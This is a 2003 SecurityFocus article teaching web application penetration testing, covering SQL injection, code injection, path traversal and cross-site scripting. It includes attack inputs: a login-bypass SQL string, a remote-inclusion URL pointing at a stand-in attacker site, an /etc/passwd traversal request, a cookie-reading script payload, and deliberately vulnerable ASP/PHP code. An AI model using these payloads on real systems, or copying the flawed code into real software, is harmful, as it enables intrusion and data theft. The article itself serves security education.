

Penetration Testing for Web Applications (Part Two)

Jody Melbourne and David Jorm 2003-07-03

Our [first article](#) in this series covered user interaction with Web applications and explored the various methods of HTTP input that are most commonly utilized by developers. In this second installment we will be expanding upon issues of input validation - how developers routinely, through a lack of proper input sanity and validity checking, expose their back-end systems to server-side code-injection and SQL-injection attacks. We will also investigate the client-side problems associated with poor input-validation such as cross-site scripting attacks.

The Blackbox Testing Method

The blackbox testing method is a technique for hardening and penetration-testing Web applications where the source code to the application is not available to the tester. It forces the penetration tester to look at the Web application from a user's perspective (and therefore, an attacker's perspective). The blackbox tester uses fingerprinting methods (as discussed in [Part One](#) of this series) to probe the application and identify all expected inputs and interactions from the user. The blackbox tester, at first, tries to get a 'feel' for the application and learn its expected behavior. The term blackbox refers to this Input/UnknownProcess/Output approach to penetration testing.

The tester attempts to elicit exception conditions and anomalous behavior from the Web application by manipulating the identified inputs - using special characters, white space, SQL keywords, oversized requests, and so forth. Any unexpected reaction from the Web application is noted and investigated. This may take the form of scripting error messages (possibly with snippets of code), server errors (HTTP 500), or half-loaded pages.



Figure 1 - Blackbox testing GET variables

Any strange behavior on the part of the application, in response to strange inputs, is certainly worth investigating as it may mean the developer has failed to validate inputs correctly!

SQL Injection Vulnerabilities

Many Web application developers (regardless of the environment) do not properly strip user input of potentially "nasty" characters before using that input directly in SQL queries. Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use subselects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating

system.

Locating SQL Injection Vulnerabilities

Often the most effective method of locating SQL injection vulnerabilities is by hand - studying application inputs and inserting special characters. With many of the popular backends, informative errors pages are displayed by default, which can often give clues to the SQL query in use: when attempting SQL injection attacks, you want to learn as much as possible about the syntax of database queries.



Figure 2 - Potential SQL injection vulnerability



Figure 3 - Another potential SQL injection hole

Example: Authentication bypass using SQL injection

This is one of the most commonly used examples of an SQL injection vulnerability, as it is easy to understand for non-SQL-developers and highlights the extent and severity of these vulnerabilities. One of the simplest ways to validate a user on a Web site is by providing them with a form, which prompts for a username and password. When the form is submitted to the login script (eg. login.asp), the username and password fields are used as variables within an SQL query.

Examine the following code (using MS Access DB as our backend):

```
user = Request.form("user")
pass = Request.form("pass")
Set Conn = Server.CreateObject("ADODB.Connection")
Set Rs = Server.CreateObject("ADODB.Recordset")
Conn.Open (dsn)
```

```

SQL = "SELECT C=COUNT(*) FROM users where pass='" & pass & "' and user='" & user & "'"
rs.open (sql,conn) if rs.eof or rs.bof then
    response.write "Database Error"
else
    if rs("C") < 1 then
        response.write "Invalid Credentials"
    else
        response.write "Logged In"
    end if
end if

```

In this scenario, no sanity or validity checking is being performed on the user and pass variables from our form inputs. The developer may have client-side (eg. Javascript) checks on the inputs, but as has been demonstrated in the first part of this series, any attacker who understands HTML can bypass these restrictions. If the attacker were to submit the following credentials to our login script:

```

user: test' OR '1'='1
pass: test

```

the resulting SQL query would look as follows:

```

SELECT * FROM users where pass='test' and user='test' OR '1' = '1'

```

In plain English, "access some data where user and pass are equal to 'test', or 1 is equal to 1." As the second condition is always true, the first condition is irrelevant, and the query data is returned successfully - in this case, logging the attacker into the application.

For recent examples of this class of vulnerability, please refer to <http://www.securityfocus.com/bid/4520> and <http://www.securityfocus.com/bid/4931>. Both of these advisories detail SQL authentication issues similar to the above.

MS-SQL Extended stored procedures

Microsoft SQL Server 7 supports the loading of extended stored procedures (a procedure implemented in a DLL that is called by the application at runtime). Extended stored procedures can be used in the same manner as database stored procedures, and are usually employed to perform tasks related to the interaction of the SQL server with its underlying Win32 environment. MSSQL has a number of built-in XSPs - most of these stored procedures are prefixed with an `xp_`.

Some of the built-in functions useful to the MSSQL pen-tester:

- * `xp_cmdshell` - execute shell commands
- * `xp_enumgroups` - enumerate NT user groups
- * `xp_logininfo` - current login info

- * xp_grantlogin - grant login rights
- * xp_getnetname - returns WINS server name
- * xp_regdeletekey - registry manipulation
- * xp_regenumvalues
- * xp_regread
- * xp_regwrite
- * xp_msver - SQL server version info

A non-hardened MS-SQL server may allow the DBO user to access these potentially dangerous stored procedures (which are executed with the permissions of the SQL server instance - in many cases, with SYSTEM privileges).

There are many extended/stored procedures that should not be accessible to any user other than the DB owner. A comprehensive list can be found at MSDN: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_sp_00_519s.asp

A well-maintained guide to hardening MS-SQL Server 7 and 2000 can be found at SQLSecurity.com: <http://www.sqlsecurity.com/DesktopDefault.aspx?tabindex=3&tabid=4>

PHP and MySQL Injection

A vulnerable PHP Web application with a MySQL backend, despite PHP escaping numerous 'special' characters (with Magic_Quotes enabled), can be manipulated in a similar manner to the above ASP application. MySQL does not allow for direct shell execution like MSSQL's xp_cmdshell, however in many cases it is still possible for the attacker to append arbitrary conditions to queries, or use UNIONS and subselects to access or modify records in the database.

For more information on PHP/MySQL security issues, refer to <http://www.phpadvisory.com>. PHP/MySQL security issues are on the increase - reference phpMyshop (<http://www.securityfocus.com/bid/6746>) and PHPNuke (<http://www.securityfocus.com/bid/7194>) advisories.

Code and Content Injection

What is code injection? Code injection vulnerabilities occur where the output or content served from a Web application can be manipulated in such a way that it triggers server-side code execution. In some poorly written Web applications that allow users to modify server-side files (such as by posting to a message board or guestbook) it is sometimes possible to inject code in the scripting language of the application itself.

This vulnerability hinges upon the manner in which the application loads and passes through the contents of these manipulated files - if this is done before the scripting language is parsed and executed, the user-modified content may also be subject to parsing and execution.

Example: A simple message board in PHP

The following snippet of PHP code is used to display posts for a particular message board. It retrieves the messageid

GET variable from the user and opens a file `$messageid.txt` under `/var/www/forum:`

```
<?php
    include('/var/www/template/header.inc');
    if (isset($_GET['messageid']) && file_exists('/var/www/forum/' . stripslashes($messageid) .
'.txt') &&
    is_numeric($messageid)) {
        include('/var/www/forum/' . stripslashes($messageid) . '.txt');
    } else {
        include('/var/www/template/error.inc');
    }
    include('/var/www/template/footer.inc');
?>
```

Although the `is_numeric()` test prevents the user from entering a file path as the `messageid`, the content of the message file is not checked in any way. (The problem with allowing unchecked entry of file paths is explained later) If the message contained PHP code, it would be `include()`'d and therefore executed by the server.

A simple method of exploiting this example vulnerability would be to post to the message board a simple chunk of code in the language of the application (PHP in this example), then view the post and see if the output indicates the code has been executed.

Server Side Includes (SSI)

SSI is a mechanism for including files using a special form of HTML comment which predates the include functionality of modern scripting languages such as PHP and JSP. Older CGI programs and 'classic' ASP scripts still use SSI to include libraries of code or re-usable elements of content, such as a site template header and footer. SSI is interpreted by the Web server, not the scripting language, so if SSI tags can be injected at the time of script execution these will often be accepted and parsed by the Web server. Methods of attacking this vulnerability are similar to those shown above for scripting language injection. SSI is rapidly becoming outmoded and disused, so this topic will not be covered in any more detail.

Miscellaneous Injection

There are many other kinds of injection attacks common amongst Web applications. Since a Web application primarily relies upon the contents of headers, cookies and GET/POST variables as input, the actions performed by the application that is driven by these variables must be thoroughly examined. There is a potentially limitless scope of actions a Web application may perform using these variables: open files, search databases, interface with other command systems and, as is increasingly common in the Web services world, interface with other Web applications. Each of these actions requires its own syntax and requires that input variables be sanity-checked and validated in a unique manner.

For example, as we have seen with SQL injection, SQL special characters and keywords must be stripped. But what about a Web application that opens a serial port and logs information remotely via a modem? Could the user input a

modem command escape string, cause the modem to hangup and redial other numbers? This is merely one example of the concept of injection. The critical point for the penetration tester is to understand what the Web application is doing in the background - the function calls and commands it is executing - and whether the arguments to these calls or strings of commands can be manipulated via headers, cookies and GET/POST variables.

Example: PHP `fopen()`

As a real world example, take the widespread PHP `fopen()` issue. PHP's file-open `fopen()` function allows for URLs to be entered in the place of a filename, simplifying access to Web services and remote resources. We will use a simple portal page as an example:

URL: `http://www.example.com/index.php?file=main`

```
<?php
    include('/var/www/template/header.inc');
    if (isset($_GET['file'])) {
        $fp = fopen("$file" . ".html", "r");
    } else {
        $fp = fopen("main.html", "r");
    }
    include('/var/www/template/footer.inc');
?>
```

The `index.php` script includes header and footer code, and `fopen()`'s the page indicated by the file GET variable. If no file variable is set, it defaults to `main.html`. The developer is forcing a file extension of `.html`, but is not specifying a directory prefix. A PHP developer inspecting this code should notice immediately that it is vulnerable to a directory traversal attack, as long as the filename requested ends in `.html` (See below).

However, due to `fopen()`'s URL handling features, an attacker in this case could submit:

`http://www.example.com/index.php?file=http://www.hackersite.com/main`

This would force the example application to `fopen()` the file `main.html` at `www.hackersite.com`. If this file were to contain PHP code, it would be incorporated into the output of the `index.php` application, and would therefore be executed by the server. In this manner, an attacker is able to inject arbitrary PHP code into the output of the Web application, and force server-side execution of the code of his/her choosing.

W-Agora forum was recently found to have such a vulnerability in its handling of user inputs that could result in `fopen()` attacks - refer to <http://www.securityfocus.com/bid/6463> for more details. This is a perfect example of this particular class of vulnerability.

Many skilled Web application developers are aware of current issues such as SQL injection and will use the many sanity-checking functions and command-stripping mechanisms available. However, once less common command systems and protocols become involved, sanity-checking is often flawed or inadequate due to a lack of

comprehension of the wider issues of input validation.

Path Traversal and URIs

A common use of Web applications is to act as a wrapper for files of Web content, opening them and returning them wrapped in chunks of HTML. This can be seen in the above sample for code injection. Once again, sanity checking is the key. If the variable being read in to specify the file to be wrapped is not checked, a relative path can be entered.

Copying from our misc. code injection example, if the developer were to fail to specify a file suffix with fopen():

```
fopen("$file" , "r");
```

...the attacker would be able to traverse to any file readable by the Web application.

```
http://www.example.com/index.php?file=../../../../etc/passwd
```

This request would return the contents of /etc/passwd unless additional stripping of the path character (/.) had been performed on the file variable.

This problem is compounded by the automatic handling of URIs by many modern Web scripting technologies, including PHP, Java and Microsoft's .NET. If this is supported on the target environment, vulnerable applications can be used as an open relay or proxy:

```
http://www.example.com/index.php?file=http://www.google.com/
```

This flaw is one of the easiest security issues to spot and rectify, although it remains common on smaller sites whose application code performs basic content wrapping. The problem can be mitigated in two ways. First, by implementing an internal numeric index to the documents or, as in our message board code, using files named in numeric sequence with a static prefix and suffix. Second, by stripping any path characters such as [/\.] which attackers could use to access resources outside of the application's directory tree.

Cross Site Scripting

Cross Site Scripting attacks (a form of content-injection attack) differs from the many other attack methods covered in this article in that it affects the client-side of the application (ie. the user's browser). Cross Site Scripting (XSS) occurs wherever a developer incorrectly allows a user to manipulate HTML output from the application - this may be in the result of a search query, or any other output from the application where the user's input is displayed back to the user without any stripping of HTML content.

A simple example of XSS can be seen in the following URL:

```
http://server.example.com/browse.cfm?categoryID=1&name=Books
```

In this example the content of the 'name' parameter is displayed on the returned page. A user could submit the following request:

```
http://server.example.com/browse.cfm?categoryID=1&name=<h1>Books
```

If the characters < > are not being correctly stripped or escaped by this application, the "<h1>" would be returned within the page and would be parsed by the browser as valid html. A better example would be as follows:

```
http://server.example.com/browse.cfm?categoryID=1&name=<script>alert(document.cookie);</script>
```

In this case, we have managed to inject Javascript into the resulting page. The relevant cookie (if any) for this session would be displayed in a popup box upon submitting this request.

This can be abused in a number of ways, depending on the intentions of the attacker. A short piece of Javascript to submit a user's cookie to an arbitrary site could be placed into this URL. The request could then be hex-encoded and sent to another user, in the hope that they open the URL. Upon clicking the trusted link, the user's cookie would be submitted to the external site. If the original site relies on cookies alone for authentication, the user's account would be compromised. We will be covering cookies in more detail in part three of this series.

In most cases, XSS would only be attempted from a reputable or widely-used site, as a user is more likely to click on a long, encoded URL if the server domain name is trusted. This kind of attack does not allow for any access to the client beyond that of the affected domain (in the user's browser security settings).

For more details on Cross-Site scripting and it's potential for abuse, please refer to the CGISecurity XSS FAQ at <http://www.cgisecurity.com/articles/xss-faq.shtml>.

Conclusion

In this article we have attempted to provide the penetration tester with a good understanding of the issue of input validation. Each of the subtopics covered in this article are deep and complex issues, and could well require a series of their own to cover in detail. The reader is encouraged to explore the documents and sites that we have referenced for further information.

The final part of this series will discuss in more detail the concepts of sessions and cookies - how Web application authentication mechanisms can be manipulated and bypassed. We will also explore the issue of traditional attacks (such as overflows and logic bugs) that have plagued developers for years, and are still quite common in the Web applications world.

[Privacy Statement](#)

Copyright 2006, SecurityFocus